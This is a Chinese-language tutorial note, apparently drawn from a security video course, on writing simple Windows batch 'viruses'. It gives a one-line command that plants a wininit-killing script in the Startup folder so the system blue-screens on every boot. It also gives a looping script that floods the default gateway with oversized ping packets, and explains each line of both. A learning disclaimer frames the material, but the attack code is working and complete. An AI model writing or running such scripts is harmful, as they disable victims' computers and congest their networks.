声明
学习视频来自B 站up主泷羽sec,如涉及侵权马上删除文章。
笔记的只是方便各位师傅学习知识,以下网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。
windows基础
我们学习了前面的windows基础语法,我们今天就利用这些简单的语法自主写几个windows小病毒。(测试环境均为windows7)
自启动蓝屏病毒
原理: 杀掉wininit进程并放到开机自启动里面。
创建一个批处理文件(.bat),该文件会在系统启动时自动运行,并尝试强制结束wininit.exe进程。wininit.exe是Windows初始化进程,强制结束它可能会导致系统不稳定或无法启动(蓝屏)。
echo taskkill /im wininit.exe /f >"c:Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\test.bat"
批处理文件: 批处理文件(.bat)是一种简单的脚本文件,包含一系列命令,按顺序执行。
任务管理器命令: taskkill /im wininit.exe /f 是 Windows 任务管理器的命令,用于强制结束指定进程。/im 参数指定进程名称,/f 参数表示强制结束。
启动文件夹: Windows 的启动文件夹包含在系统启动时自动运行的程序和脚本。将批处理文件放置在这里,会导致每次系统启动时自动执行该批处理文件中的命令。
危害
系统不稳定: wininit.exe 是 Windows 初始化进程,负责启动系统的基本服务和驱动程序。强制结束这个进程会导致系统无法正常启动,甚至可能导致系统崩溃。
数据丢失: 由于系统无法正常启动,可能会导致未保存的数据丢失。
安全风险: 这种行为通常与恶意软件相关,可能会被用来隐藏其他恶意操作,如窃取数据、安装后门等。
网络堵塞病毒
原理:利用ping命令大量向网关发包
@echo off
for /f "tokens=2 delims=:" %%a in ('ipconfig ^| findstr /i "IPv4"') do set "ip=%%a"
for /f "tokens=2 delims=:" %%a in ('ipconfig ^| findstr /i "Default Gateway"') do set "gateway=%%a"
:ping_loop
ping -l 65500 -n 100 %gateway% >nul
goto ping_loop
@echo off
作用: 关闭命令行窗口中命令的回显。通常情况下,在命令提示符中执行命令时, 会显示每条命令本身以及其执行结果(如果有)。使用 @echo off 后,只会 显示命令执行产生的结果(如果结果未被重定向隐藏),而不会显示具体执 行的命令内容,这样可以使命令行窗口输出更加简洁,专注于程序运行的实质效果。
获取ipv4地址的循环部分
for /f "tokens=2 delims=:" %%a in ('ipconfig ^| findstr /i "IPv4"') do set "ip=%%a"
整体功能: 从ipconfig
命令的输出结果中提取本机的IPv4
地址,并将其赋值给变量ip
。
for /f
:这是一个用于处理文本文件或命令输出结果等文本流的循环命令。它会逐行读取输入的文本,并根据指定的规则进行处理。
"tokens=2 delims=:":
是for /f 命令的参数设置。
tokens
:指定要从每行文本中提取的部分(称为 “令牌”)。这里设置 为 2 ,表示提取以:
为分隔符的第二段内容。例如,对于一行文本 “IPv4 Address.......... : 192.168.1.100”
,它会提取 “192.168.1.100”
这部分。
delims
:定义了用于分隔每行文本的字符。这里指定 : 为分隔符,即按 照 : 来划分每行文本,以便确定要提取的 “令牌” 位置。
('ipconfig ^| findstr /i "IPv4"')
:这是for /f
命令的输入来源。
ipconfig
:是 Windows 系统用于查看网络配置信息的命令,它会输出 本机的网络相关配置,如 IP 地址、子网掩码、默认网关等信息。 ^|
:是管道符,用于将 ipconfig 命令的输出传递给下一个命令进行处理。
findstr /i "IPv4"
: findstr 是用于在文本中查找指定字符串的命 令,/i
参数表示忽略大小写。所以这里是在 ipconfig 的输出结果中查 找包含 “IPv4” 字样的行。
do set "ip=%%a":
do
:是 for /f
循环中的执行部分,当在前面找到符合条件的行并提取 到指定的片段(即 tokens=2 所指定的第二段内容)后,就会执行后面的操作。
set "ip=%%a" :
将提取到的内容(存储在循环变量 %%a
中)赋值给变 量ip。在批处理文件中,循环变量需要使用双百分号(%%
)来表示, 而在命令提示符直接输入时,使用单百分号(%
)即可。
获取网关的循环部分
for /f "tokens=2 delims=:" %%a in ('ipconfig ^| findstr /i "Default Gateway"') do set "gateway=%%a"
整体功能: 从ipconfig
命令的输出结果中提取本机的默认网关信息,并将其赋值给变量gateway
。
这部分代码的原理和获取 IPv4 地址的部分基本相同。
同样是通过for /f
循环来处理 ipconfig 命令输出经过筛选后的内容。 区别在于这里是在 ipconfig 的输出中查找包含 “Default Gateway”
字样的行 (忽略大小写),然后提取以 : 为分隔符的第二段内容,并将其赋值给变量gateway。
ping循环部分
:ping_loop
ping -l 65500 -n 100 %gateway% >nul
goto ping_loop
整体功能: 以指定的参数持续向本机的默认网关发送 ping 请求,形成一个循环操作。
:ping_loop
:这是一个自定义的标签,用于标记一个代码块的位置,方便 后面通过 goto 语句跳转到此处,从而实现循环。
ping -l 65500 -n 100 %gateway% >nul:
ping
:是 Windows 系统用于测试网络连接的命令。
-l 65500
:指定了发送的 ping 包的大小为 65500
字节。
-n 100
:表示发送 100 次 ping 包。
%gateway%
:这里使用了前面获取到的默认网关变量,即向默认网关发 送这些 ping 包。
>nul
:是将 ping 命令的输出重定向到空设备,也就是不显示ping
命 令执行过程中的输出信息,使命令行窗口不会被大量的 ping 反馈信息刷屏。
goto ping_loop
这行命令会使程序流程无条件跳转到前面定义的 ping_loop
标签处,从 而形成一个循环,不断地执行发送ping
包到默认网关的操作。
综上所述 ,这段批处理代码的主要功能是先获取本机的IPv4
地址和默认网关信息, 然后持续向默认网关发送大流量(包大小为65500
字节)且一定次数(100 次)的 ping
包,并隐藏ping
命令的输出信息,以达到某种网络测试或其他相关目的。不过,如果在不合适的场景下持续大量发送ping
包可能会对网络造成一定影响,比如占用过多网络资源等。